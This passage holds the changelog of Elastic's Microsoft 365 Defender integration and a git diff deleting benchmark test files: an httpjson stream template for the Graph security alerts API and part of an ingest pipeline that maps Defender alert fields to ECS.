-- version: "2.25.0" - changes: - - description: Add a toggle button for including unknown members in properties of evolvable enum types. - type: enhancement - link: https://github.com/elastic/integrations/pull/13166 -- version: "2.24.0" - changes: - - description: Enable Agentless deployment. - type: enhancement - link: https://github.com/elastic/integrations/pull/12891 -- version: "2.23.0" - changes: - - description: Add email ECS fields to alert data stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/12888 -- version: "2.22.1" - changes: - - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. - type: bugfix - link: https://github.com/elastic/integrations/pull/12781 -- version: "2.22.0" - changes: - - description: Update Kibana constraint to support 9.0.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/12593 -- version: "2.21.1" - changes: - - description: Fix mapping of Defender InternetMessageId and NetworkMessageId values. - type: bugfix - link: https://github.com/elastic/integrations/pull/12546 - - description: Fix removal behavior for ECS-mapped `m365_defender.event.internet_message_id` field. - type: bugfix - link: https://github.com/elastic/integrations/pull/12546 -- version: "2.21.0" - changes: - - description: Add ASN enrichment for IP addresses. - type: enhancement - link: https://github.com/elastic/integrations/pull/12449 -- version: "2.20.0" - changes: - - description: Make token endpoint configurable for Alert data stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/12401 -- version: "2.19.0" - changes: - - description: Add support for `IdentityInfo` advanced hunting table. - type: enhancement - link: https://github.com/elastic/integrations/pull/12214 -- version: "2.18.0" - changes: - - description: Add "preserve_original_event" tag to documents with `event.kind` manually set to "pipeline_error". - type: enhancement - link: https://github.com/elastic/integrations/pull/12109 -- version: "2.17.1" - changes: - - description: Change connection_string to be a secret - type: bugfix - link: https://github.com/elastic/integrations/pull/12112 -- version: "2.17.0" - changes: - - description: Do not remove `event.original` in main ingest pipeline. - type: enhancement - link: https://github.com/elastic/integrations/pull/12076 -- version: "2.16.0" - changes: - - description: Add "preserve_original_event" tag to documents with `event.kind` set to "pipeline_error". - type: enhancement - link: https://github.com/elastic/integrations/pull/12046 -- version: "2.15.2" - changes: - - description: Fix string literals in painless scripts. - type: bugfix - link: https://github.com/elastic/integrations/pull/12047 -- version: "2.15.1" - changes: - - description: Add caseless fields to process events. - type: enhancement - link: https://github.com/elastic/integrations/pull/11020 -- version: "2.15.0" - changes: - - description: Fix OS assignment for Windows devices. - type: bugfix - link: https://github.com/elastic/integrations/pull/10953 - - description: Set `host.os.type` to unix for all POSIX systems without a known platform. - type: enhancement - link: https://github.com/elastic/integrations/pull/10953 -- version: "2.14.7" - changes: - - description: Fix pipeline errors for DNS logs. - type: bugfix - link: https://github.com/elastic/integrations/pull/10947 -- version: "2.14.6" - changes: - - description: Fix dashboard filters to look for correct event.severity values. - type: bugfix - link: https://github.com/elastic/integrations/pull/10810 -- version: "2.14.5" - changes: - - description: Fix mapping issue for DNS answers field. - type: bugfix - link: https://github.com/elastic/integrations/pull/10772 -- version: "2.14.4" - changes: - - description: Fix `host.mac` gsub processor to handle MAC addresses with `-` already present. - type: bugfix - link: https://github.com/elastic/integrations/pull/10798 -- version: "2.14.3" - changes: - - description: Fix sslconnectioninspected event `network.protocol` getting set to `dns`. - type: bugfix - link: https://github.com/elastic/integrations/pull/10730 -- version: "2.14.2" - changes: - - description: Fix `network.transport` and `network.protocol` processing. - type: bugfix - link: https://github.com/elastic/integrations/pull/10418 -- version: "2.14.1" - changes: - - description: Fix process executable containing duplicate process name. - type: bugfix - link: https://github.com/elastic/integrations/pull/10280 -- version: "2.14.0" - changes: - - description: Improve ECS mappings - type: enhancement - link: https://github.com/elastic/integrations/pull/10179 -- version: "2.13.0" - changes: - - description: Removed import_mappings. Update the kibana constraint to ^8.13.0. Modified the field definitions to remove ECS fields made redundant by the ecs@mappings component template. - type: enhancement - link: https://github.com/elastic/integrations/pull/10135 -- version: "2.12.0" - changes: - - description: Make `host.ip` and `host.mac` fields conform to ECS field definition. - type: enhancement - link: https://github.com/elastic/integrations/pull/10120 -- version: "2.11.0" - changes: - - description: Improve detection rules support - type: enhancement - link: https://github.com/elastic/integrations/pull/9860 -- version: "2.10.0" - changes: - - description: Improve handling of empty responses. - type: enhancement - link: https://github.com/elastic/integrations/pull/9974 -- version: "2.9.1" - changes: - - description: Drop last page events in the alerts datastream. - type: bugfix - link: https://github.com/elastic/integrations/pull/9983 -- version: "2.9.0" - changes: - - description: Improve command line analyser. - type: enhancement - link: https://github.com/elastic/integrations/pull/9812 -- version: "2.8.1" - changes: - - description: Resolved ignore_malformed issues with fields. - type: bugfix - link: https://github.com/elastic/integrations/pull/9832 -- version: "2.8.0" - changes: - - description: Set sensitive values as secret and fix incorrect mappings. - type: enhancement - link: https://github.com/elastic/integrations/pull/9127 -- version: "2.7.1" - changes: - - description: Handle invalid IP addresses. - type: bugfix - link: https://github.com/elastic/integrations/pull/9060 -- version: "2.7.0" - changes: - - description: Add support of Alert Data Stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/8950 -- version: "2.6.2" - changes: - - description: Fix cursor value and query building for log data stream. - type: bugfix - link: https://github.com/elastic/integrations/pull/8492 -- version: "2.6.1" - changes: - - description: Changed owners - type: enhancement - link: https://github.com/elastic/integrations/pull/8943 -- version: "2.6.0" - changes: - - description: Add geoip processing to source and destination IP fields. - type: enhancement - link: https://github.com/elastic/integrations/pull/8899 -- version: "2.5.1" - changes: - - description: Fix `process.command_line` overwritten by `process.parent.command_line`. - type: bugfix - link: https://github.com/elastic/integrations/pull/8872 -- version: "2.5.0" - changes: - - description: Limit request tracer log count to five. - type: enhancement - link: https://github.com/elastic/integrations/pull/8489 -- version: 2.4.0 - changes: - - description: ECS version updated to 8.11.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/8434 -- version: 2.3.1 - changes: - - description: Remove renaming the original `message` field to `event.original` - type: bugfix - link: https://github.com/elastic/integrations/pull/8090 -- version: 2.3.0 - changes: - - description: ECS version updated to 8.10.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/7919 -- version: 2.2.0 - changes: - - description: "The format_version in the package manifest changed from 2.11.0 to 3.0.0. Removed dotted YAML keys from package manifest. Added 'owner.type: elastic' to package manifest." - type: enhancement - link: https://github.com/elastic/integrations/pull/7883 -- version: "2.1.0" - changes: - - description: Add tags.yml file so that integration's dashboards and saved searches are tagged with "Security Solution" and displayed in the Security Solution UI. - type: enhancement - link: https://github.com/elastic/integrations/pull/7789 -- version: "2.0.1" - changes: - - description: Fix template snippet escaping and add event.kind for pipeline errors. - type: bugfix - link: https://github.com/elastic/integrations/pull/7707 -- version: "2.0.0" - changes: - - description: Major improvements in ECS field coverage and additional field mappings. - type: enhancement - link: https://github.com/elastic/integrations/pull/7522 -- version: "1.17.1" - changes: - - description: Fix fingerprint processor on `log` datastream to avoid document conflicts - type: bugfix - link: https://github.com/elastic/integrations/pull/7255 -- version: "1.17.0" - changes: - - description: Add support for newer Oauth Token Endpoint and fixes in some ECS mappings. - type: enhancement - link: https://github.com/elastic/integrations/pull/7119 -- version: "1.16.0" - changes: - - description: Update package to ECS 8.9.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/7110 -- version: "1.15.0" - changes: - - description: Document duration units. - type: enhancement - link: https://github.com/elastic/integrations/pull/6992 -- version: "1.14.0" - changes: - - description: Update package-spec to 2.9.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/7123 -- version: "1.13.0" - changes: - - description: Convert dashboards to Lens. - type: enhancement - link: https://github.com/elastic/integrations/pull/6898 -- version: "1.12.0" - changes: - - description: Document valid duration units. - type: enhancement - link: https://github.com/elastic/integrations/pull/6706 -- version: "1.11.2" - changes: - - description: Added the mapping for user.name field into the incident data stream. - type: bugfix - link: https://github.com/elastic/integrations/pull/6731 -- version: "1.11.1" - changes: - - description: Fix event.query type to group - type: bugfix - link: https://github.com/elastic/integrations/pull/6696 -- version: "1.11.0" - changes: - - description: Ensure event.kind is correctly set for pipeline errors. - type: enhancement - link: https://github.com/elastic/integrations/pull/6661 -- version: "1.10.0" - changes: - - description: Update package to ECS 8.8.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/6327 -- version: "1.9.0" - changes: - - description: Add and lowercase host.name field - type: enhancement - link: https://github.com/elastic/integrations/pull/6057 -- version: "1.8.0" - changes: - - description: Add a new flag to enable request tracing - type: enhancement - link: https://github.com/elastic/integrations/pull/6115 -- version: "1.7.1" - changes: - - description: Update event.kind to alert for Incident data stream and handle null value for AttackTechniques field in Event data stream. - type: bugfix - link: https://github.com/elastic/integrations/issues/5744 -- version: "1.7.0" - changes: - - description: Update package to ECS 8.7.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/5765 -- version: "1.6.2" - changes: - - description: Added categories and/or subcategories. - type: enhancement - link: https://github.com/elastic/integrations/pull/5123 -- version: "1.6.1" - changes: - - description: Update datastreams titles and ReadMe. - type: enhancement - link: https://github.com/elastic/integrations/issues/5408 -- version: "1.6.0" - changes: - - description: Add New Event Data Stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/4962 -- version: "1.5.1" - changes: - - description: Drop empty event sets in log data stream. - type: bugfix - link: https://github.com/elastic/integrations/pull/5164 -- version: "1.5.0" - changes: - - description: Update package to ECS 8.6.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/4576 -- version: "1.4.3" - changes: - - description: Update API version for incident data stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/4893 - - description: Mark log data stream as deprecated because it's using the older defender APIs. - type: enhancement - link: https://github.com/elastic/integrations/pull/4893 -- version: "1.4.2" - changes: - - description: Bugfixes for when entities fields are empty. - type: bugfix - link: https://github.com/elastic/integrations/pull/4865 -- version: "1.4.1" - changes: - - description: Remove duplicate fields. - type: bugfix - link: https://github.com/elastic/integrations/pull/4611 -- version: "1.4.0" - changes: - - description: Add New Incident Data Stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/4435 -- version: "1.3.0" - changes: - - description: Update package to ECS 8.5.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/4285 -- version: "1.2.0" - changes: - - description: Update package to ECS 8.4.0 - type: enhancement - link: https://github.com/elastic/integrations/pull/3867 -- version: "1.1.2" - changes: - - description: Fix proxy URL documentation rendering. - type: bugfix - link: https://github.com/elastic/integrations/pull/3881 -- version: "1.1.1" - changes: - - description: Update package name and description to align with standard wording - type: enhancement - link: https://github.com/elastic/integrations/pull/3478 -- version: "1.1.0" - changes: - - description: Update package to ECS 8.3.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/3353 -- version: "1.0.4" - changes: - - description: Update duplication handling to also support Redirect type alerts - type: bugfix - link: https://github.com/elastic/integrations/pull/3194 -- version: "1.0.3" - changes: - - description: Add duplication handling in ingest pipeline - type: bugfix - link: https://github.com/elastic/integrations/pull/3194 -- version: "1.0.2" - changes: - - description: Fix mapping for comments field and add missing fields - type: bugfix - link: https://github.com/elastic/integrations/pull/3181 -- version: "1.0.1" - changes: - - description: Add documentation for multi-fields - type: enhancement - link: https://github.com/elastic/integrations/pull/2916 -- version: "1.0.0" - changes: - - description: First version - type: enhancement - link: https://github.com/elastic/integrations/pull/2854 diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/agent/stream/httpjson.yml.hbs b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/agent/stream/httpjson.yml.hbs deleted file mode 100644 index f5684a1dc9..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/agent/stream/httpjson.yml.hbs +++ /dev/null @@ -1,76 +0,0 @@ -config_version: 2 -interval: {{interval}} -request.tracer: - enabled: {{enable_request_tracer}} - filename: "../../logs/httpjson/http-request-trace-*.ndjson" - maxbackups: 5 -auth.oauth2.client.id: {{client_id}} -auth.oauth2.client.secret: {{client_secret}} -auth.oauth2.token_url: {{login_url}}/{{tenant_id}}/{{token_endpoint}} -auth.oauth2.scopes: {{request_url}}/.default -{{#if oauth_endpoint_params}} -auth.oauth2.endpoint_params: {{oauth_endpoint_params}} -{{/if}} -request.url: {{request_url}}/v1.0/security/alerts_v2 -{{#if http_client_timeout}} -request.timeout: {{http_client_timeout}} -{{/if}} -{{#if proxy_url}} -request.proxy_url: {{proxy_url}} -{{/if}} -{{#if ssl}} -request.ssl: {{ssl}} -{{/if}} -request.transforms: - - set: - target: url.params.$top - value: {{batch_size}} - - set: - target: url.params.$skip - value: 0 - - set: - target: url.params.$filter - value: 'lastUpdateDateTime ge [[.cursor.last_update_time]]' - default: 'lastUpdateDateTime ge [[formatDate (now (parseDuration "-{{initial_interval}}"))]]' - - set: - target: url.params.$orderby - value: 'lastUpdateDateTime asc' -{{#if include_unknown_enum_members}} - - set: - target: "header.Prefer" - value: 'include-unknown-enum-members' -{{/if}} -response.pagination: - - set: - target: url.params.$filter - value: '[[.last_response.url.params.Get "$filter"]]' - fail_on_template_error: true - do_not_log_failure: true - - set: - target: url.params.$skip - value: '[[if (eq (len .last_response.body.value) {{batch_size}})]][[add (toInt (.last_response.url.params.Get "$skip")) {{batch_size}}]][[end]]' - fail_on_template_error: true - do_not_log_failure: true -response.split: - target: body.value - ignore_empty_value: true -cursor: - last_update_time: - value: '[[.last_event.lastUpdateDateTime]]' -tags: -{{#if preserve_original_event}} - - preserve_original_event -{{/if}} -{{#if preserve_duplicate_custom_fields}} - - preserve_duplicate_custom_fields -{{/if}} -{{#each tags as |tag|}} - - {{tag}} -{{/each}} -{{#contains "forwarded" tags}} -publisher_pipeline.disable_host: true -{{/contains}} -{{#if processors}} -processors: -{{processors}} -{{/if}} diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml deleted file mode 100644 index ee0b02a171..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml +++ /dev/null @@ -1,2860 +0,0 @@ ---- -description: Pipeline for processing Alert logs. -processors: - - remove: - field: - - organization - - division - - team - ignore_missing: true - if: ctx.organization instanceof String && ctx.division instanceof String && ctx.team instanceof String - tag: remove_agentless_tags - description: >- - Removes the fields added by Agentless as metadata, - as they can collide with ECS fields. - - set: - field: ecs.version - tag: set_ecs_version - value: '8.11.0' - - set: - field: event.kind - tag: set_event_kind - value: alert - - rename: - field: message - tag: rename_message_to_event_original - target_field: event.original - ignore_missing: true - if: ctx.event?.original == null - - remove: - tag: remove_message_2ee3a7d4 - field: message - ignore_missing: true - if: 'ctx.event?.original != null' - description: 'The `message` field is no longer required if the document has an `event.original` field.' - - json: - field: event.original - tag: json_event_original - target_field: json - on_failure: - - append: - tag: append_error_message_cea45f41 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - drop: - tag: drop_if_event_is_malformed - description: | - If an empty 'value' array exists, it means the input did not split correctly because we have - no more alerts and the event can be ignored. - if: ctx.json?.value instanceof List && ctx.json.value.length == 0 - - fail: - tag: fail_if_value_array_has_elements - description: | - If we get here and the 'value' array has elements it means there is an error in the input - configuration. - if: ctx.json?.value instanceof List && ctx.json.value.length > 0 - message: | - There is an unexpected 'value' array with elements. - This indicates a misconfiguration of the input. - - fingerprint: - fields: - - json.id - - json.lastUpdateDateTime - - json.incidentId - - json.providerAlertId - tag: fingerprint_processor - target_field: _id - ignore_missing: true - - script: - lang: painless - description: Drops empty string values recursively. - tag: painless_remove_empty_from_evidence - if: ctx.json?.evidence != null - source: |- - boolean drop(Object object) { - if (object == '') { - return true; - } else if (object instanceof Map) { - ((Map) object).values().removeIf(v -> drop(v)); - return (((Map) object).size() == 0); - } else if (object instanceof List) { - ((List) object).removeIf(v -> drop(v)); - return (((List) object).length == 0); - } - return false; - } - drop(ctx.json.evidence); - - script: - description: Dynamically map event.category and event.type field from evidence. - tag: script_to_set_event_category_and_type - lang: painless - if: ctx.json?.evidence instanceof List - params: - '#microsoft.graph.security.analyzedMessageEvidence': email - '#microsoft.graph.security.mailboxEvidence': email - '#microsoft.graph.security.mailClusterEvidence': email - '#microsoft.graph.security.deviceEvidence': host - '#microsoft.graph.security.fileEvidence': file - '#microsoft.graph.security.ipEvidence': network - '#microsoft.graph.security.processEvidence': process - '#microsoft.graph.security.registryValueEvidence': registry - '#microsoft.graph.security.registryKeyEvidence': registry - '#microsoft.graph.security.userEvidence': iam - '#microsoft.graph.security.securityGroupEvidence': iam - malware: malware - malicioususeractivity: malware - phishing: email - apt: threat - source: > - def eventCategory = new HashSet(); - def eventType = new HashSet(); - for (evidence in ctx.json.evidence) { - String mapping = params[evidence["@odata.type"]]; - if (mapping != null) { - eventCategory.add(mapping); - if(eventCategory.contains('registry')){ - eventType.add('access'); - } - else if(eventCategory.contains('threat')){ - eventType.add('indicator'); - } - else{ - eventType.add('info'); - } - } - } - if(ctx.json?.determination != null){ - String mapping = params[ctx.json.determination.toLowerCase()]; - if(mapping != null) { - eventCategory.add(mapping); - if(eventCategory.contains('threat')){ - eventType.add('indicator'); - } - else{ - eventType.add('info'); - } - } - } - if (!eventType.isEmpty()) { - def type = new ArrayList(); - for(def t:eventType) { - type.add(t); - } - Collections.sort(type); - ctx.event.type = type; - } - if (!eventCategory.isEmpty()) { - def category = new ArrayList(); - for(def c:eventCategory) { - category.add(c); - } - Collections.sort(category); - ctx.event.category = category; - } - - dot_expander: - field: '@odata.type' - tag: dot_expander_@odata_type - path: json - override: true - on_failure: - - append: - tag: append_error_message_7172c928 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.@odata.type - tag: rename_@odata_type - target_field: m365_defender.alert.odata_type - ignore_missing: true - - date: - field: json.lastUpdateDateTime - tag: date_lastUpdateDateTime - formats: - - ISO8601 - if: ctx.json?.lastUpdateDateTime != null && ctx.json.lastUpdateDateTime != '' - on_failure: - - append: - tag: append_error_message_68a7a0b9 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - set: - field: m365_defender.alert.last_update_datetime - tag: set_last_update_datetime - copy_from: '@timestamp' - ignore_empty_value: true - - rename: - field: json.description - tag: rename_description - target_field: m365_defender.alert.description - ignore_missing: true - - set: - field: message - tag: set_message - copy_from: m365_defender.alert.description - ignore_empty_value: true - - rename: - field: json.tenantId - tag: rename_tenantId - target_field: m365_defender.alert.tenant_id - ignore_missing: true - - set: - field: cloud.account.id - tag: set_cloud_account_id - copy_from: m365_defender.alert.tenant_id - ignore_empty_value: true - - date: - field: json.createdDateTime - tag: date_createdDateTime - target_field: m365_defender.alert.created_datetime - formats: - - ISO8601 - if: ctx.json?.createdDateTime != null && ctx.json.createdDateTime != '' - on_failure: - - append: - tag: append_error_message_686dd3a2 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - set: - field: event.created - tag: set_event_created - copy_from: m365_defender.alert.created_datetime - ignore_empty_value: true - - date: - field: json.lastActivityDateTime - tag: date_lastActivityDateTime - target_field: m365_defender.alert.last_activity_datetime - formats: - - ISO8601 - if: ctx.json?.lastActivityDateTime != null && ctx.json.lastActivityDateTime != '' - on_failure: - - append: - tag: append_error_message_8b559792 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - set: - field: event.end - tag: set_event_end - copy_from: m365_defender.alert.last_activity_datetime - ignore_empty_value: true - - rename: - field: json.id - tag: rename_id - target_field: m365_defender.alert.id - ignore_missing: true - - set: - field: event.id - tag: set_event_id - copy_from: m365_defender.alert.id - ignore_empty_value: true - - rename: - field: json.serviceSource - tag: rename_serviceSource - target_field: m365_defender.alert.service_source - ignore_missing: true - - set: - field: event.provider - tag: set_event_provider - copy_from: m365_defender.alert.service_source - ignore_empty_value: true - - rename: - field: json.severity - tag: rename_severity - target_field: m365_defender.alert.severity - ignore_missing: true - - script: - lang: painless - description: Script to set event.severity. - tag: set_event_severity - if: ctx.m365_defender?.alert?.severity instanceof String - source: |- - ctx.event = ctx.event ?: [:]; - String risk_score_value = ctx.m365_defender.alert.severity; - if (risk_score_value.equalsIgnoreCase("low") || risk_score_value.equalsIgnoreCase("informational")) { - ctx.event.severity = 21; - } else if (risk_score_value.equalsIgnoreCase("medium")) { - ctx.event.severity = 47; - } else if (risk_score_value.equalsIgnoreCase("high")) { - ctx.event.severity = 73; - } else if (risk_score_value.equalsIgnoreCase("critical")) { - ctx.event.severity = 99; - } - on_failure: - - append: - tag: append_error_message_7616b08e - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - date: - field: json.firstActivityDateTime - tag: date_firstActivityDateTime - target_field: m365_defender.alert.first_activity_datetime - formats: - - ISO8601 - if: ctx.json?.firstActivityDateTime != null && ctx.json.firstActivityDateTime != '' - on_failure: - - append: - tag: append_error_message_7c22fa58 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - set: - field: event.start - tag: set_event_start - copy_from: m365_defender.alert.first_activity_datetime - ignore_empty_value: true - - script: - description: Determine event.duration from starting and ending activity timestamp. - tag: script_event_duration - lang: painless - if: ctx.event?.start != null && ctx.event?.end != null - source: | - Instant eventstart = ZonedDateTime.parse(ctx.event?.start).toInstant(); - Instant eventend = ZonedDateTime.parse(ctx.event?.end).toInstant(); - ctx.event['duration'] = ChronoUnit.NANOS.between(eventstart, eventend); - - uri_parts: - field: json.alertWebUrl - tag: uri_parts_alertWebUrl - target_field: m365_defender.alert.web_url - if: ctx.json?.alertWebUrl != null - keep_original: true - on_failure: - - remove: - tag: remove_json_alertWebUrl_12dda30b - field: json.alertWebUrl - - append: - tag: append_error_message_ce0a2478 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - set: - field: event.url - tag: set_event_url - copy_from: m365_defender.alert.web_url.original - ignore_empty_value: true - - rename: - field: json.assignedTo - tag: rename_assignedTo - target_field: m365_defender.alert.assigned_to - ignore_missing: true - - append: - field: related.user - tag: append_related_user - value: '{{{m365_defender.alert.assigned_to}}}' - if: ctx.m365_defender?.alert?.assigned_to != null - allow_duplicates: false - - set: - field: source.user.name - tag: set_source_user_name - copy_from: m365_defender.alert.assigned_to - ignore_empty_value: true - - rename: - field: json.threatFamilyName - tag: rename_threatFamilyName - target_field: m365_defender.alert.threat_family_name - ignore_missing: true - - rename: - field: json.category - tag: rename_category - target_field: m365_defender.alert.category - ignore_missing: true - - append: - field: threat.tactic.name - tag: append_threat_tactic_name - value: '{{{m365_defender.alert.category}}}' - if: ctx.m365_defender?.alert?.category != null - allow_duplicates: false - - rename: - field: json.mitreTechniques - tag: rename_mitreTechniques - target_field: m365_defender.alert.mitre_techniques - ignore_missing: true - - set: - field: threat.technique.subtechnique.id - tag: set_threat_technique_subtechnique_id - copy_from: m365_defender.alert.mitre_techniques - ignore_empty_value: true - - rename: - field: json.actorDisplayName - tag: rename_actorDisplayName - target_field: m365_defender.alert.actor_display_name - ignore_missing: true - - rename: - field: json.classification - tag: rename_classification - target_field: m365_defender.alert.classification - ignore_missing: true - - foreach: - field: json.comments - tag: foreach_comments - if: ctx.json?.comments instanceof List - processor: - append: - field: related.user - tag: foreach_comments_append_createdByDisplayName - value: '{{{_ingest._value.createdByDisplayName}}}' - allow_duplicates: false - - rename: - field: json.comments - tag: rename_comments - target_field: m365_defender.alert.comments - ignore_missing: true - - rename: - field: json.detectorId - tag: rename_detectorId - target_field: m365_defender.alert.detector_id - ignore_missing: true - - rename: - field: json.detectionSource - tag: rename_detection_source - target_field: m365_defender.alert.detection_source - ignore_missing: true - - rename: - field: json.determination - tag: rename_determination - target_field: m365_defender.alert.determination - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_createdDateTime - if: ctx.json?.evidence instanceof List - processor: - date: - field: _ingest._value.createdDateTime - tag: date_foreach_evidence_createdDateTime - target_field: _ingest._value.created_datetime - formats: - - ISO8601 - on_failure: - - remove: - field: _ingest._value.createdDateTime - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_remediationStatus - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.remediationStatus - tag: foreach_rename_remediationStatus - target_field: _ingest._value.remediation_status - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evident_ipInterfaces - if: ctx.json?.evidence instanceof List - processor: - foreach: - field: _ingest._value.ipInterfaces - tag: inside_foreach_convert_ipInterfaces - ignore_missing: true - processor: - convert: - field: _ingest._value - tag: foreach_convert_ipInterfaces - type: ip - ignore_missing: true - on_failure: - - remove: - field: _ingest._value - ignore_missing: true - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.evidence - tag: foreach_evidence_ip_interfaces - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.ipInterfaces - tag: rename_foreach_ip_interfaces - target_field: _ingest._value.ip_interfaces - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_ip_interfaces_to_host_ip - if: ctx.json?.evidence instanceof List - processor: - foreach: - field: _ingest._value.ip_interfaces - tag: foreach_append_ip_interfaces_to_host_ip - ignore_missing: true - processor: - append: - field: host.ip - tag: append_ip_interfaces_to_host_ip - value: '{{{_ingest._value}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_ip_interfaces_to_related_ip - if: ctx.json?.evidence instanceof List - processor: - foreach: - field: _ingest._value.ip_interfaces - tag: foreach_append_ip_interfaces_to_related_ip - ignore_missing: true - processor: - append: - field: related.ip - tag: append_ip_interfaces_to_related_ip - value: '{{{_ingest._value}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_detailedRoles - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.detailedRoles - tag: rename_foreach_detailedRoles - target_field: _ingest._value.detailed_roles - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_rename_remediationStatusDetails - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.remediationStatusDetails - tag: rename_foreach_remediationStatusDetails - target_field: _ingest._value.remediation_status_details - ignore_missing: true - - rename: - field: json.incidentId - tag: rename_incidentId - target_field: m365_defender.alert.incident_id - ignore_missing: true - - uri_parts: - field: json.incidentWebUrl - tag: uri_parts_incidentWebUrl - target_field: m365_defender.alert.incident_web_url - if: ctx.json?.incidentWebUrl != null - keep_original: true - on_failure: - - remove: - tag: remove_json_incidentWebUrl_109036dc - field: json.incidentWebUrl - - append: - tag: append_error_message_08848c8b - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.providerAlertId - tag: rename_providerAlertId - target_field: m365_defender.alert.provider_alert_id - ignore_missing: true - - rename: - field: json.recommendedActions - tag: rename_recommendedActions - target_field: m365_defender.alert.recommended_actions - ignore_missing: true - - date: - field: json.resolvedDateTime - tag: date_resolvedDateTime - target_field: m365_defender.alert.resolved_datetime - formats: - - ISO8601 - if: ctx.json?.resolvedDateTime != null && ctx.json.resolvedDateTime != '' - on_failure: - - append: - tag: append_error_message_3911a726 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.status - tag: rename_status - target_field: m365_defender.alert.status - ignore_missing: true - - rename: - field: json.threatDisplayName - tag: rename_threatDisplayName - target_field: m365_defender.alert.threat_display_name - ignore_missing: true - - rename: - field: json.title - tag: rename_title - target_field: m365_defender.alert.title - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_dot_expander - if: ctx.json?.evidence instanceof List - processor: - dot_expander: - field: '@odata.type' - path: _ingest._value - ignore_failure: true - override: true - - foreach: - field: json.evidence - tag: foreach_evidence_@0data - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.@odata.type - tag: foreach_rename_evidence_@odata - target_field: _ingest._value.odata_type - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_receivedDateTime - if: ctx.json?.evidence instanceof List - processor: - date: - field: _ingest._value.receivedDateTime - tag: date_foreach_evidence_receivedDateTime - target_field: _ingest._value.received_datetime - formats: - - ISO8601 - on_failure: - - remove: - field: _ingest._value.receivedDateTime - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_email_Delivery_timestamp - if: ctx.json?.evidence instanceof List - processor: - append: - field: email.delivery_timestamp - tag: append_foreach_evidence_email_Delivery_timestamp - value: '{{{_ingest._value.received_datetime}}}' - allow_duplicates: false - - foreach: - field: json.evidence - 